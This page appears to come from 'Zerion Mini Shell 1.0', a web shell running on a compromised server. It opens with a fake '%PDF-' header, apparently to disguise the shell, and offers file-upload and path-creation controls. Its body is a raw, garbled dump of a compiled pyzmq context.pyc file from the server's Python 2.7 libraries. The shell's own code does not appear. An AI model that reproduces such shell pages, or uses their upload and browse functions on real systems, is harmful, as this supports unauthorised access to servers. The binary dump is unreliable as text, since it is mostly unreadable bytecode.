%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python2.7/site-packages/zmq/backend/cffi/
Upload File :
Create Path :
Current File : //lib64/python2.7/site-packages/zmq/backend/cffi/context.pyc

�
+�{Wc@s�dZddlZddlmZmZddlmZmZmZddl	m
Z
mZmZde
fd��YZdgZdS(	szmq Context classi����Ni(tCtffi(tEINVALt
IO_THREADStLINGER(tZMQErrortInterruptedSystemCallt	_check_rctContextcBs�eZd
Zd
Zd
Zd
ZeZdd
d�Z	e
d��Ze
d��Zd�Z
d�Zd�Zd�Zd�Zd
d	�ZRS(icCs�|r'tjd|�|_t|_n3t|_|dksKtt��ntj	�|_|jtj
kr�ttj���n|s�tj|jt
|�nt|_t�|_dS(Nsvoid *i(Rtcastt_zmq_ctxtTruet_shadowtFalseRRRtzmq_ctx_newtNULLt	zmq_errnotzmq_ctx_setRt_closedtsett_sockets(tselft
io_threadstshadow((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyt__init__s		cCsttjd|j��S(s,The address of the underlying libzmq contexttsize_t(tintRR	R
(R((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyt
underlying(scCs|jS(N(R(R((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pytclosed-scCs#tj|�}|jj|�|S(N(tweakreftrefRtadd(RtsocketR((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyt_add_socket1scCs&||jkr"|jj|�ndS(N(Rtremove(RR((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyt
_rm_socket6scCs&tj|j||�}t|�dS(s>set a context option
        
        see zmq_ctx_set
        N(RRR
R(Rtoptiontvaluetrc((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyR:scCs#tj|j|�}t|�|S(s<get context option
        
        see zmq_ctx_get
        (Rtzmq_ctx_getR
R(RR$R&((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pytgetBs
cCsW|jr
dStj|j�}yt|�Wntk
r@nXd|_t|_dS(N(	RRtzmq_ctx_destroyR
RRtNoneRR(RR&((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyttermKs	
	cCs�|jr
dS|j}t�|_xM|D]E}|�}|r)|jr)|ra|jt|�n|j�q)q)W|j�dS(N(RRRt
setsockoptRtcloseR+(Rtlingertsocketsts((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pytdestroyZs		
	N(t__name__t
__module__R*R
t
_iothreadsRRR
RRtpropertyRRR!R#RR(R+R1(((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyRs						(t__doc__Rt_cffiRRt	constantsRRRt	zmq.errorRRRtobjectRt__all__(((s>/usr/lib64/python2.7/site-packages/zmq/backend/cffi/context.pyt<module>sZ

Zerion Mini Shell 1.0